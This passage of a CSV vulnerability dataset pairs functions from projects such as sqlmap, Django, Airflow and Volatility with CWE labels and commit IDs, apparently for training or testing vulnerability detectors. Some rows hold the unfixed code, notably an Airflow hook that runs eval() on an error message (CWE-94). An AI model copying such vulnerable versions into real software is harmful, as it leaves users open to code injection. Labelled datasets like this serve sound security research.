    kb.chars.at, kb.chars.space, kb.chars.dollar, kb.chars.hash_ = (""%s%s%s"" % (KB_CHARS_BOUNDARY_CHAR, _, KB_CHARS_BOUNDARY_CHAR) for _ in randomStr(length=4, lowercase=True))

    kb.codePage = None
    kb.columnExistsChoice = None
    kb.commonOutputs = None
    kb.connErrorChoice = None
    kb.connErrorCounter = 0
    kb.cookieEncodeChoice = None
    kb.copyExecTest = None
    kb.counters = {}
    kb.customInjectionMark = CUSTOM_INJECTION_MARK_CHAR
    kb.data = AttribDict()
    kb.dataOutputFlag = False

    # Active back-end DBMS fingerprint
    kb.dbms = None
    kb.dbmsFilter = []
    kb.dbmsVersion = [UNKNOWN_DBMS_VERSION]

    kb.delayCandidates = TIME_DELAY_CANDIDATES * [0]
    kb.dep = None
    kb.disableHtmlDecoding = False
    kb.dnsMode = False
    kb.dnsTest = None
    kb.docRoot = None
    kb.droppingRequests = False
    kb.dumpColumns = None
    kb.dumpTable = None
    kb.dumpKeyboardInterrupt = False
    kb.dynamicMarkings = []
    kb.dynamicParameter = False
    kb.endDetection = False
    kb.explicitSettings = set()
    kb.extendTests = None
    kb.errorChunkLength = None
    kb.errorIsNone = True
    kb.falsePositives = []
    kb.fileReadMode = False
    kb.fingerprinted = False
    kb.followSitemapRecursion = None
    kb.forcedDbms = None
    kb.forcePartialUnion = False
    kb.forceThreads = None
    kb.forceWhere = None
    kb.forkNote = None
    kb.futileUnion = None
    kb.fuzzUnionTest = None
    kb.heavilyDynamic = False
    kb.headersFile = None
    kb.headersFp = {}
    kb.heuristicDbms = None
    kb.heuristicExtendedDbms = None
    kb.heuristicMode = False
    kb.heuristicPage = False
    kb.heuristicTest = None
    kb.hintValue = """"
    kb.htmlFp = []
    kb.httpErrorCodes = {}
    kb.inferenceMode = False
    kb.ignoreCasted = None
    kb.ignoreNotFound = False
    kb.ignoreTimeout = False
    kb.identifiedWafs = set()
    kb.injection = InjectionDict()
    kb.injections = []
    kb.jsonAggMode = False
    kb.laggingChecked = False
    kb.lastParserStatus = None

    kb.locks = AttribDict()
    for _ in (""cache"", ""connError"", ""count"", ""handlers"", ""hint"", ""index"", ""io"", ""limit"", ""liveCookies"", ""log"", ""socket"", ""redirect"", ""request"", ""value""):
        kb.locks[_] = threading.Lock()

    kb.matchRatio = None
    kb.maxConnectionsFlag = False
    kb.mergeCookies = None
    kb.multipleCtrlC = False
    kb.negativeLogic = False
    kb.nullConnection = None
    kb.oldMsf = None
    kb.orderByColumns = None
    kb.originalCode = None
    kb.originalPage = None
    kb.originalPageTime = None
    kb.originalTimeDelay = None
    kb.originalUrls = dict()

    # Back-end DBMS underlying operating system fingerprint via banner (-b)
    # parsing
    kb.os = None
    kb.osVersion = None
    kb.osSP = None

    kb.pageCompress = True
    kb.pageTemplate = None
    kb.pageTemplates = dict()
    kb.pageEncoding = DEFAULT_PAGE_ENCODING
    kb.pageStable = None
    kb.partRun = None
    kb.permissionFlag = False
    kb.postHint = None
    kb.postSpaceToPlus = False
    kb.postUrlEncode = True
    kb.prependFlag = False
    kb.processResponseCounter = 0
    kb.previousMethod = None
    kb.processUserMarks = None
    kb.proxyAuthHeader = None
    kb.queryCounter = 0
    kb.randomPool = {}
    kb.redirectChoice = None
    kb.reflectiveMechanism = True
    kb.reflectiveCounters = {REFLECTIVE_COUNTER.MISS: 0, REFLECTIVE_COUNTER.HIT: 0}
    kb.requestCounter = 0
    kb.resendPostOnRedirect = None
    kb.resolutionDbms = None
    kb.responseTimes = {}
    kb.responseTimeMode = None
    kb.responseTimePayload = None
    kb.resumeValues = True
    kb.safeCharEncode = False
    kb.safeReq = AttribDict()
    kb.secondReq = None
    kb.serverHeader = None
    kb.singleLogFlags = set()
    kb.skipSeqMatcher = False
    kb.smokeMode = False
    kb.reduceTests = None
    kb.sslSuccess = False
    kb.stickyDBMS = False
    kb.storeHashesChoice = None
    kb.suppressResumeInfo = False
    kb.tableExistsChoice = None
    kb.tableFrom = None
    kb.technique = None
    kb.tempDir = None
    kb.testMode = False
    kb.testOnlyCustom = False
    kb.testQueryCount = 0
    kb.testType = None
    kb.threadContinue = True
    kb.threadException = False
    kb.tlsSNI = {}
    kb.uChar = NULL
    kb.udfFail = False
    kb.unionDuplicates = False
    kb.unionTemplate = None
    kb.webSocketRecvCount = None
    kb.wizardMode = False
    kb.xpCmdshellAvailable = False

    if flushAll:
        kb.checkSitemap = None
        kb.headerPaths = {}
        kb.keywords = set(getFileItems(paths.SQL_KEYWORDS))
        kb.lastCtrlCTime = None
        kb.normalizeCrawlingChoice = None
        kb.passwordMgr = None
        kb.postprocessFunctions = []
        kb.preprocessFunctions = []
        kb.skipVulnHost = None
        kb.storeCrawlingChoice = None
        kb.tamperFunctions = []
        kb.targets = OrderedSet()
        kb.testedParams = set()
        kb.userAgents = None
        kb.vainRun = True
        kb.vulnHosts = set()
        kb.wafFunctions = []
        kb.wordlists = None"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/httpclient_test.py,0,"def test_redirect_without_location(self):
        response = self.fetch(""/redirect_without_location"", follow_redirects=True)
        # If there is no location header, the redirect response should
        # just be returned as-is. (This should arguably raise an
        # error, but libcurl doesn't treat this as an error, so we
        # don't either).
        self.assertEqual(301, response.code)",CWE-Unknown,tornadoweb/tornado,4f486a4aec746e9d66441600ee3b0743228b061c,"def test_redirect_without_location(self):
        response = self.fetch(""/redirect_without_location"", follow_redirects=True)
        # If there is no location header, the redirect response should
        # just be returned as-is. (This should arguably raise an
        # error, but libcurl doesn't treat this as an error, so we
        # don't either).
        self.assertEqual(301, response.code)"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/registry/lsadump.py,0,"def calculate(self):
        addr_space = utils.load_as(self._config)

        if not self._config.sys_offset or not self._config.sec_offset:
            regapi = registryapi.RegistryApi(self._config)
            for offset in regapi.all_offsets:
                name = regapi.all_offsets[offset].lower().split(""\\"")[-1]
                if ""system"" == name:
                    self._config.update(""SYS_OFFSET"", offset)
                elif ""security"" == name:
                    self._config.update(""SEC_OFFSET"", offset)

        hashes = domcachedumpmod.dump_memory_hashes(addr_space, self._config, self._config.sys_offset, self._config.sec_offset)
        if hashes == None:
            debug.error(""Unable to read hashes from registry"")
        return hashes",,volatilityfoundation/volatility,58ce54d3f1438fb16acff14035ed98c2d098d2d5,"def calculate(self):
        addr_space = utils.load_as(self._config)

        if not self._config.sys_offset or not self._config.sec_offset:
            regapi = registryapi.RegistryApi(self._config)
            for offset in regapi.all_offsets:
                name = regapi.all_offsets[offset].lower().split(""\\"")[-1]
                if ""system"" == name:
                    self._config.update(""SYS_OFFSET"", offset)
                elif ""security"" == name:
                    self._config.update(""SEC_OFFSET"", offset)

        hashes = domcachedumpmod.dump_memory_hashes(addr_space, self._config, self._config.sys_offset, self._config.sec_offset)
        if hashes == None:
            debug.error(""Unable to read hashes from registry"")"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/db/migrations/writer.py,0,"def serialize(cls, value):
        """"""
        Serializes the value to a string that's parsable by Python, along
        with any needed imports to make that string work.
        More advanced than repr() as it can encode things
        like datetime.datetime.now.
        """"""
        # Sequences
        if isinstance(value, (list, set, tuple)):
            imports = set()
            strings = []
            for item in value:
                item_string, item_imports = cls.serialize(item)
                imports.update(item_imports)
                strings.append(item_string)
            if isinstance(value, set):
                format = ""set([%s])""
            elif isinstance(value, tuple):
                format = ""(%s,)""
            else:
                format = ""[%s]""
            return format % ("", "".join(strings)), imports
        # Dictionaries
        elif isinstance(value, dict):
            imports = set()
            strings = []
            for k, v in value.items():
                k_string, k_imports = cls.serialize(k)
                v_string, v_imports = cls.serialize(v)
                imports.update(k_imports)
                imports.update(v_imports)
                strings.append((k_string, v_string))
            return ""{%s}"" % ("", "".join([""%s: %s"" % (k, v) for k, v in strings])), imports
        # Datetimes
        elif isinstance(value, (datetime.datetime, datetime.date)):
            return repr(value), set([""import datetime""])
        # Simple types
        elif isinstance(value, six.integer_types + (float, six.binary_type, six.text_type, bool, type(None))):
            return repr(value), set()
        # Django fields
        elif isinstance(value, models.Field):
            attr_name, path, args, kwargs = value.deconstruct()
            module, name = path.rsplit(""."", 1)
            if module == ""django.db.models"":
                imports = set([""from django.db import models""])
                name = ""models.%s"" % name
            else:
                imports = set([""import %s"" % module])
                name = path
            arg_strings = []
            for arg in args:
                arg_string, arg_imports = cls.serialize(arg)
                arg_strings.append(arg_string)
                imports.update(arg_imports)
            for kw, arg in kwargs.items():
                arg_string, arg_imports = cls.serialize(arg)
                imports.update(arg_imports)
                arg_strings.append(""%s=%s"" % (kw, arg_string))
            return ""%s(%s)"" % (name, "", "".join(arg_strings)), imports
        # Functions
        elif isinstance(value, (types.FunctionType, types.BuiltinFunctionType)):
            # Special-cases, as these don't have im_class
            special_cases = [
                (datetime.datetime.now, ""datetime.datetime.now"", [""import datetime""]),
                (datetime.datetime.utcnow, ""datetime.datetime.utcnow"", [""import datetime""]),
                (datetime.date.today, ""datetime.date.today"", [""import datetime""]),
            ]
            for func, string, imports in special_cases:
                if func == value:  # For some reason ""utcnow is not utcnow""
                    return string, set(imports)
            # Method?
            if hasattr(value, ""im_class""):
                klass = value.im_class
                module = klass.__module__
                return ""%s.%s.%s"" % (module, klass.__name__, value.__name__), set([""import %s"" % module])
            else:
                module = value.__module__
                if module is None:
                    raise ValueError(""Cannot serialize function %r: No module"" % value)
                return ""%s.%s"" % (module, value.__name__), set([""import %s"" % module])
        # Classes
        elif isinstance(value, type):
            special_cases = [
                (models.Model, ""models.Model"", []),
            ]
            for case, string, imports in special_cases:
                if case is value:
                    return string, set(imports)
            if hasattr(value, ""__module__""):
                module = value.__module__
                return ""%s.%s"" % (module, value.__name__), set([""import %s"" % module])
        # Uh oh.
        else:
            raise ValueError(""Cannot serialize: %r"" % value)",CWE-Unknown,django/django,c8cbdabfab3a150904a2214930e82112d0231ff2,"def serialize(cls, value):
        """"""
        Serializes the value to a string that's parsable by Python, along
        with any needed imports to make that string work.
        More advanced than repr() as it can encode things
        like datetime.datetime.now.
        """"""
        # Sequences
        if isinstance(value, (list, set, tuple)):
            imports = set()
            strings = []
            for item in value:
                item_string, item_imports = cls.serialize(item)
                imports.update(item_imports)
                strings.append(item_string)
            if isinstance(value, set):
                format = ""set([%s])""
            elif isinstance(value, tuple):
                format = ""(%s,)""
            else:
                format = ""[%s]""
            return format % ("", "".join(strings)), imports
        # Dictionaries
        elif isinstance(value, dict):
            imports = set()
            strings = []
            for k, v in value.items():
                k_string, k_imports = cls.serialize(k)
                v_string, v_imports = cls.serialize(v)
                imports.update(k_imports)
                imports.update(v_imports)
                strings.append((k_string, v_string))
            return ""{%s}"" % ("", "".join([""%s: %s"" % (k, v) for k, v in strings])), imports
        # Datetimes
        elif isinstance(value, (datetime.datetime, datetime.date)):
            return repr(value), set([""import datetime""])
        # Simple types
        elif isinstance(value, (int, long, float, six.binary_type, six.text_type, bool, types.NoneType)):
            return repr(value), set()
        # Django fields
        elif isinstance(value, models.Field):
            attr_name, path, args, kwargs = value.deconstruct()
            module, name = path.rsplit(""."", 1)
            if module == ""django.db.models"":
                imports = set([""from django.db import models""])
                name = ""models.%s"" % name
            else:
                imports = set([""import %s"" % module])
                name = path
            arg_strings = []
            for arg in args:
                arg_string, arg_imports = cls.serialize(arg)
                arg_strings.append(arg_string)
                imports.update(arg_imports)
            for kw, arg in kwargs.items():
                arg_string, arg_imports = cls.serialize(arg)
                imports.update(arg_imports)
                arg_strings.append(""%s=%s"" % (kw, arg_string))
            return ""%s(%s)"" % (name, "", "".join(arg_strings)), imports
        # Functions
        elif isinstance(value, (types.FunctionType, types.BuiltinFunctionType)):
            # Special-cases, as these don't have im_class
            special_cases = [
                (datetime.datetime.now, ""datetime.datetime.now"", [""import datetime""]),
                (datetime.datetime.utcnow, ""datetime.datetime.utcnow"", [""import datetime""]),
                (datetime.date.today, ""datetime.date.today"", [""import datetime""]),
            ]
            for func, string, imports in special_cases:
                if func == value:  # For some reason ""utcnow is not utcnow""
                    return string, set(imports)
            # Method?
            if hasattr(value, ""im_class""):
                klass = value.im_class
                module = klass.__module__
                return ""%s.%s.%s"" % (module, klass.__name__, value.__name__), set([""import %s"" % module])
            else:
                module = value.__module__
                if module is None:
                    raise ValueError(""Cannot serialize function %r: No module"" % value)
                return ""%s.%s"" % (module, value.__name__), set([""import %s"" % module])
        # Classes
        elif isinstance(value, type):
            special_cases = [
                (models.Model, ""models.Model"", []),
            ]
            for case, string, imports in special_cases:
                if case is value:
                    return string, set(imports)
            if hasattr(value, ""__module__""):
                module = value.__module__
                return ""%s.%s"" % (module, value.__name__), set([""import %s"" % module])
        # Uh oh.
        else:
            raise ValueError(""Cannot serialize: %r"" % value)"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/linux/check_idt.py,0,"def calculate(self):
        """""" 
        This works by walking the IDT table for the entries that Linux uses
        and verifies that each is a symbol in the kernel
        """"""
        linux_common.set_plugin_members(self)

        tblsz = 256

        sym_addrs = self.profile.get_all_addresses()

        # hw handlers + system call
        check_idxs = list(range(0, 20)) + [128]

        if self.profile.metadata.get('memory_model', '32bit') == ""32bit"":
            idt_type = ""desc_struct""
        else:
            idt_type = ""gate_struct64""

        # this is written as a list b/c there are supposdly kernels with per-CPU IDTs
        # but I haven't found one yet...
        addrs = [self.get_profile_symbol(""idt_table"")]

        for tableaddr in addrs:

            table = obj.Object(theType = 'Array', offset = tableaddr, vm = self.addr_space, targetType = idt_type, count = tblsz)

            for i in check_idxs:

                ent = table[i]

                if not ent:
                    continue

                idt_addr = ent.Address

                if not idt_addr in sym_addrs:
                    yield(i, idt_addr, 1)
                else:
                    yield(i, idt_addr, 0)",,volatilityfoundation/volatility,e0170340236abc28c14a677eb302a681db957e33,"def calculate(self):
        """""" 
        This works by walking the IDT table for the entries that Linux uses
        and verifies that each is a symbol in the kernel
        """"""    
        linux_common.set_plugin_members(self)

        tblsz = 256
        
        sym_addrs  = self.profile.get_all_addresses()

        # hw handlers + system call
        check_idxs = list(range(0, 20)) + [128]

        if self.profile.metadata.get('memory_model', '32bit') == ""32bit"":  
            idt_type = ""desc_struct""
        else:
            idt_type = ""gate_struct64""

        # this is written as a list b/c there are supposdly kernels with per-CPU IDTs
        # but I haven't found one yet...
        addrs = [self.get_profile_symbol(""idt_table"")]

        for tableaddr in addrs:

            table = obj.Object(theType = 'Array', offset = tableaddr, vm = self.addr_space, targetType = idt_type, count = tblsz)
            
            for i in check_idxs:

                ent = table[i]
                
                if not ent:
                    continue

                idt_addr = ent.Address

                if not idt_addr in sym_addrs:
                    yield(i, idt_addr, 1)
                else:
                    yield(i, idt_addr, 0)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/cloud/vmware/vmware_guest.py,0,"def customize_vm(self, vm_obj):

        # User specified customization specification
        custom_spec_name = self.params.get('customization_spec')
        if custom_spec_name:
            cc_mgr = self.content.customizationSpecManager
            if cc_mgr.DoesCustomizationSpecExist(name=custom_spec_name):
                temp_spec = cc_mgr.GetCustomizationSpec(name=custom_spec_name)
                self.customspec = temp_spec.spec
                return
            else:
                self.module.fail_json(msg=""Unable to find customization specification""
                                          "" '%s' in given configuration."" % custom_spec_name)

        # Network settings
        adaptermaps = []
        for network in self.params['networks']:

            guest_map = vim.vm.customization.AdapterMapping()
            guest_map.adapter = vim.vm.customization.IPSettings()

            if 'ip' in network and 'netmask' in network:
                guest_map.adapter.ip = vim.vm.customization.FixedIp()
                guest_map.adapter.ip.ipAddress = str(network['ip'])
                guest_map.adapter.subnetMask = str(network['netmask'])
            elif 'type' in network and network['type'] == 'dhcp':
                guest_map.adapter.ip = vim.vm.customization.DhcpIpGenerator()

            if 'gateway' in network:
                guest_map.adapter.gateway = network['gateway']

            # On Windows, DNS domain and DNS servers can be set by network interface
            # https://pubs.vmware.com/vi3/sdk/ReferenceGuide/vim.vm.customization.IPSettings.html
            if 'domain' in network:
                guest_map.adapter.dnsDomain = network['domain']
            elif 'domain' in self.params['customization']:
                guest_map.adapter.dnsDomain = self.params['customization']['domain']

            if 'dns_servers' in network:
                guest_map.adapter.dnsServerList = network['dns_servers']
            elif 'dns_servers' in self.params['customization']:
                guest_map.adapter.dnsServerList = self.params['customization']['dns_servers']

            adaptermaps.append(guest_map)

        # Global DNS settings
        globalip = vim.vm.customization.GlobalIPSettings()
        if 'dns_servers' in self.params['customization']:
            globalip.dnsServerList = self.params['customization']['dns_servers']

        # TODO: Maybe list the different domains from the interfaces here by default ?
        if 'dns_suffix' in self.params['customization']:
            dns_suffix = self.params['customization']['dns_suffix']
            if isinstance(dns_suffix, list):
                globalip.dnsSuffixList = "" "".join(dns_suffix)
            else:
                globalip.dnsSuffixList = dns_suffix
        elif 'domain' in self.params['customization']:
            globalip.dnsSuffixList = self.params['customization']['domain']

        if self.params['guest_id']:
            guest_id = self.params['guest_id']
        else:
            guest_id = vm_obj.summary.config.guestId

        # For windows guest OS, use SysPrep
        # https://pubs.vmware.com/vi3/sdk/ReferenceGuide/vim.vm.customization.Sysprep.html#field_detail
        if 'win' in guest_id:
            ident = vim.vm.customization.Sysprep()

            ident.userData = vim.vm.customization.UserData()

            # Setting hostName, orgName and fullName is mandatory, so we set some default when missing
            ident.userData.computerName = vim.vm.customization.FixedName()
            # computer name will be truncated to 15 characters if using VM name
            default_name = self.params['name'].replace(' ', '')
            default_name = ''.join([c for c in default_name if c not in string.punctuation])
            ident.userData.computerName.name = str(self.params['customization'].get('hostname', default_name[0:15]))
            ident.userData.fullName = str(self.params['customization'].get('fullname', 'Administrator'))
            ident.userData.orgName = str(self.params['customization'].get('orgname', 'ACME'))

            if 'productid' in self.params['customization']:
                ident.userData.productId = str(self.params['customization']['productid'])

            ident.guiUnattended = vim.vm.customization.GuiUnattended()

            if 'autologon' in self.params['customization']:
                ident.guiUnattended.autoLogon = self.params['customization']['autologon']
                ident.guiUnattended.autoLogonCount = self.params['customization'].get('autologoncount', 1)

            if 'timezone' in self.params['customization']:
                # Check if timezone value is a int before proceeding.
                ident.guiUnattended.timeZone = self.device_helper.integer_value(
                    self.params['customization']['timezone'],
                    'customization.timezone')

            ident.identification = vim.vm.customization.Identification()

            if self.params['customization'].get('password', '') != '':
                ident.guiUnattended.password = vim.vm.customization.Password()
                ident.guiUnattended.password.value = str(self.params['customization']['password'])
                ident.guiUnattended.password.plainText = True

            if 'joindomain' in self.params['customization']:
                if 'domainadmin' not in self.params['customization'] or 'domainadminpassword' not in self.params['customization']:
                    self.module.fail_json(msg=""'domainadmin' and 'domainadminpassword' entries are mandatory in 'customization' section to use ""
                                              ""joindomain feature"")

                ident.identification.domainAdmin = str(self.params['customization']['domainadmin'])
                ident.identification.joinDomain = str(self.params['customization']['joindomain'])
                ident.identification.domainAdminPassword = vim.vm.customization.Password()
                ident.identification.domainAdminPassword.value = str(self.params['customization']['domainadminpassword'])
                ident.identification.domainAdminPassword.plainText = True

            elif 'joinworkgroup' in self.params['customization']:
                ident.identification.joinWorkgroup = str(self.params['customization']['joinworkgroup'])

            if 'runonce' in self.params['customization']:
                ident.guiRunOnce = vim.vm.customization.GuiRunOnce()
                ident.guiRunOnce.commandList = self.params['customization']['runonce']

        else:
            # FIXME: We have no clue whether this non-Windows OS is actually Linux, hence it might fail!

            # For Linux guest OS, use LinuxPrep
            # https://pubs.vmware.com/vi3/sdk/ReferenceGuide/vim.vm.customization.LinuxPrep.html
            ident = vim.vm.customization.LinuxPrep()

            # TODO: Maybe add domain from interface if missing ?
            if 'domain' in self.params['customization']:
                ident.domain = str(self.params['customization']['domain'])

            ident.hostName = vim.vm.customization.FixedName()
            hostname = str(self.params['customization'].get('hostname', self.params['name'].split('.')[0]))
            # Remove all characters except alphanumeric and minus which is allowed by RFC 952
            valid_hostname = re.sub(r""[^a-zA-Z0-9\-]"", """", hostname)
            ident.hostName.name = valid_hostname

            # List of supported time zones for different vSphere versions in Linux/Unix systems
            # https://kb.vmware.com/s/article/2145518
            if 'timezone' in self.params['customization']:
                ident.timeZone = str(self.params['customization']['timezone'])
            if 'hwclockUTC' in self.params['customization']:
                ident.hwClockUTC = self.params['customization']['hwclockUTC']

        self.customspec = vim.vm.customization.Specification()
        self.customspec.nicSettingMap = adaptermaps
        self.customspec.globalIPSettings = globalip
        self.customspec.identity = ident",,ansible/ansible,8f89d1d3dae38db8273dd7a45b9320c03e347fa9,"def customize_vm(self, vm_obj):

        # User specified customization specification
        custom_spec_name = self.params.get('customization_spec')
        if custom_spec_name:
            cc_mgr = self.content.customizationSpecManager
            if cc_mgr.DoesCustomizationSpecExist(name=custom_spec_name):
                temp_spec = cc_mgr.GetCustomizationSpec(name=custom_spec_name)
                self.customspec = temp_spec.spec
                return
            else:
                self.module.fail_json(msg=""Unable to find customization specification""
                                          "" '%s' in given configuration."" % custom_spec_name)

        # Network settings
        adaptermaps = []
        for network in self.params['networks']:

            guest_map = vim.vm.customization.AdapterMapping()
            guest_map.adapter = vim.vm.customization.IPSettings()

            if 'ip' in network and 'netmask' in network:
                guest_map.adapter.ip = vim.vm.customization.FixedIp()
                guest_map.adapter.ip.ipAddress = str(network['ip'])
                guest_map.adapter.subnetMask = str(network['netmask'])
            elif 'type' in network and network['type'] == 'dhcp':
                guest_map.adapter.ip = vim.vm.customization.DhcpIpGenerator()

            if 'gateway' in network:
                guest_map.adapter.gateway = network['gateway']

            # On Windows, DNS domain and DNS servers can be set by network interface
            # https://pubs.vmware.com/vi3/sdk/ReferenceGuide/vim.vm.customization.IPSettings.html
            if 'domain' in network:
                guest_map.adapter.dnsDomain = network['domain']
            elif 'domain' in self.params['customization']:
                guest_map.adapter.dnsDomain = self.params['customization']['domain']

            if 'dns_servers' in network:
                guest_map.adapter.dnsServerList = network['dns_servers']
            elif 'dns_servers' in self.params['customization']:
                guest_map.adapter.dnsServerList = self.params['customization']['dns_servers']

            adaptermaps.append(guest_map)

        # Global DNS settings
        globalip = vim.vm.customization.GlobalIPSettings()
        if 'dns_servers' in self.params['customization']:
            globalip.dnsServerList = self.params['customization']['dns_servers']

        # TODO: Maybe list the different domains from the interfaces here by default ?
        if 'dns_suffix' in self.params['customization']:
            dns_suffix = self.params['customization']['dns_suffix']
            if isinstance(dns_suffix, list):
                globalip.dnsSuffixList = "" "".join(dns_suffix)
            else:
                globalip.dnsSuffixList = dns_suffix
        elif 'domain' in self.params['customization']:
            globalip.dnsSuffixList = self.params['customization']['domain']

        if self.params['guest_id']:
            guest_id = self.params['guest_id']
        else:
            guest_id = vm_obj.summary.config.guestId

        # For windows guest OS, use SysPrep
        # https://pubs.vmware.com/vi3/sdk/ReferenceGuide/vim.vm.customization.Sysprep.html#field_detail
        if 'win' in guest_id:
            ident = vim.vm.customization.Sysprep()

            ident.userData = vim.vm.customization.UserData()

            # Setting hostName, orgName and fullName is mandatory, so we set some default when missing
            ident.userData.computerName = vim.vm.customization.FixedName()
            # computer name will be truncated to 15 characters if using VM name
            default_name = self.params['name'].translate(None, string.punctuation)
            ident.userData.computerName.name = str(self.params['customization'].get('hostname', default_name[0:15]))
            ident.userData.fullName = str(self.params['customization'].get('fullname', 'Administrator'))
            ident.userData.orgName = str(self.params['customization'].get('orgname', 'ACME'))

            if 'productid' in self.params['customization']:
                ident.userData.productId = str(self.params['customization']['productid'])

            ident.guiUnattended = vim.vm.customization.GuiUnattended()

            if 'autologon' in self.params['customization']:
                ident.guiUnattended.autoLogon = self.params['customization']['autologon']
                ident.guiUnattended.autoLogonCount = self.params['customization'].get('autologoncount', 1)

            if 'timezone' in self.params['customization']:
                # Check if timezone value is a int before proceeding.
                ident.guiUnattended.timeZone = self.device_helper.integer_value(
                    self.params['customization']['timezone'],
                    'customization.timezone')

            ident.identification = vim.vm.customization.Identification()

            if self.params['customization'].get('password', '') != '':
                ident.guiUnattended.password = vim.vm.customization.Password()
                ident.guiUnattended.password.value = str(self.params['customization']['password'])
                ident.guiUnattended.password.plainText = True

            if 'joindomain' in self.params['customization']:
                if 'domainadmin' not in self.params['customization'] or 'domainadminpassword' not in self.params['customization']:
                    self.module.fail_json(msg=""'domainadmin' and 'domainadminpassword' entries are mandatory in 'customization' section to use ""
                                              ""joindomain feature"")

                ident.identification.domainAdmin = str(self.params['customization']['domainadmin'])
                ident.identification.joinDomain = str(self.params['customization']['joindomain'])
                ident.identification.domainAdminPassword = vim.vm.customization.Password()
                ident.identification.domainAdminPassword.value = str(self.params['customization']['domainadminpassword'])
                ident.identification.domainAdminPassword.plainText = True

            elif 'joinworkgroup' in self.params['customization']:
                ident.identification.joinWorkgroup = str(self.params['customization']['joinworkgroup'])

            if 'runonce' in self.params['customization']:
                ident.guiRunOnce = vim.vm.customization.GuiRunOnce()
                ident.guiRunOnce.commandList = self.params['customization']['runonce']

        else:
            # FIXME: We have no clue whether this non-Windows OS is actually Linux, hence it might fail!

            # For Linux guest OS, use LinuxPrep
            # https://pubs.vmware.com/vi3/sdk/ReferenceGuide/vim.vm.customization.LinuxPrep.html
            ident = vim.vm.customization.LinuxPrep()

            # TODO: Maybe add domain from interface if missing ?
            if 'domain' in self.params['customization']:
                ident.domain = str(self.params['customization']['domain'])

            ident.hostName = vim.vm.customization.FixedName()
            hostname = str(self.params['customization'].get('hostname', self.params['name'].split('.')[0]))
            # Remove all characters except alphanumeric and minus which is allowed by RFC 952
            valid_hostname = re.sub(r""[^a-zA-Z0-9\-]"", """", hostname)
            ident.hostName.name = valid_hostname

            # List of supported time zones for different vSphere versions in Linux/Unix systems
            # https://kb.vmware.com/s/article/2145518
            if 'timezone' in self.params['customization']:
                ident.timeZone = str(self.params['customization']['timezone'])
            if 'hwclockUTC' in self.params['customization']:
                ident.hwClockUTC = self.params['customization']['hwclockUTC']

        self.customspec = vim.vm.customization.Specification()
        self.customspec.nicSettingMap = adaptermaps
        self.customspec.globalIPSettings = globalip
        self.customspec.identity = ident"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/kernelspecs/handlers.py,0,"def get(self, kernel_name, path, include_body=True):
        ksm = self.kernel_spec_manager
        try:
            self.root = ksm.get_kernel_spec(kernel_name).resource_dir
        except KeyError as e:
            raise web.HTTPError(404,
                                u'Kernel spec %s not found' % kernel_name) from e
        self.log.debug(""Serving kernel resource from: %s"", self.root)
        return web.StaticFileHandler.get(self, path, include_body=include_body)",,jupyter/notebook,94af525a2c0aaa99311647c6cccf9add07a63033,"def get(self, kernel_name, path, include_body=True):
        ksm = self.kernel_spec_manager
        try:
            self.root = ksm.get_kernel_spec(kernel_name).resource_dir
        except KeyError:
            raise web.HTTPError(404, u'Kernel spec %s not found' % kernel_name)
        self.log.debug(""Serving kernel resource from: %s"", self.root)
        return web.StaticFileHandler.get(self, path, include_body=include_body)"
,UNKNOWN,UNKNOWN,airflow/hooks/presto_hook.py,1,"def get_records(self, hql, parameters=None):
        """"""
        Get a set of records from Presto
        """"""
        try:
            return super(PrestoHook, self).get_records(
                self._strip_sql(hql), parameters)
        except DatabaseError as e:
            if (hasattr(e, 'message') and
                'errorName' in e.message and
                'message' in e.message):
                # Use the structured error data in the raised exception
                raise PrestoException('{name}: {message}'.format(
                    name=e.message['errorName'], message=e.message['message']))
            else:
                raise PrestoException(str(e))",CWE-94,apache/airflow,5b7ca355c6158546409f6ccda410416286c94d99,"def get_records(self, hql, parameters=None):
        """"""
        Get a set of records from Presto
        """"""
        try:
            return super(PrestoHook, self).get_records(
                self._strip_sql(hql), parameters)
        except DatabaseError as e:
            obj = eval(str(e))
            raise PrestoException(obj['message'])"
,UNKNOWN,UNKNOWN,django/utils/html.py,1,"def format_html(format_string, *args, **kwargs):
    """"""
    Similar to str.format, but pass all arguments through conditional_escape(),
    and call mark_safe() on the result. This function should be used instead
    of str.format or % interpolation to build up small HTML fragments.
    """"""
    if not (args or kwargs):
        # RemovedInDjango60Warning: when the deprecation ends, replace with:
        # raise TypeError(""args or kwargs must be provided."")
        warnings.warn(
            ""Calling format_html() without passing args or kwargs is deprecated."",
            RemovedInDjango60Warning,
            stacklevel=2,
        )
    args_safe = map(conditional_escape, args)
    kwargs_safe = {k: conditional_escape(v) for (k, v) in kwargs.items()}
    return mark_safe(format_string.format(*args_safe, **kwargs_safe))",CWE-79,django/django,03e0ab5c64d4bc09c6932268b29efcc789a0f7af,"def format_html(format_string, *args, **kwargs):
    """"""
    Similar to str.format, but pass all arguments through conditional_escape(),
    and call mark_safe() on the result. This function should be used instead
    of str.format or % interpolation to build up small HTML fragments.
    """"""
    if not (args or kwargs):
        # RemovedInDjango60Warning: when the deprecation ends, replace with:
        # raise ValueError(""args or kwargs must be provided."")
        warnings.warn(
            ""Calling format_html() without passing args or kwargs is deprecated."",
            RemovedInDjango60Warning,
        )
    args_safe = map(conditional_escape, args)
    kwargs_safe = {k: conditional_escape(v) for (k, v) in kwargs.items()}
    return mark_safe(format_string.format(*args_safe, **kwargs_safe))"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/iostream.py,0,"def _signal_closed(self) -> None:
        futures = []  # type: List[Future]
        if self._read_future is not None:
            futures.append(self._read_future)
            self._read_future = None
        futures += [future for _, future in self._write_futures]
        self._write_futures.clear()
        if self._connect_future is not None:
            futures.append(self._connect_future)
            self._connect_future = None
        for future in futures:
            if not future.done():
                future.set_exception(StreamClosedError(real_error=self.error))
            future.exception()
        if self._ssl_connect_future is not None:
            # _ssl_connect_future expects to see the real exception (typically
            # an ssl.SSLError), not just StreamClosedError.
            if not self._ssl_connect_future.done():
                if self.error is not None:
                    self._ssl_connect_future.set_exception(self.error)
                else:
                    self._ssl_connect_future.set_exception(StreamClosedError())
            self._ssl_connect_future.exception()
            self._ssl_connect_future = None
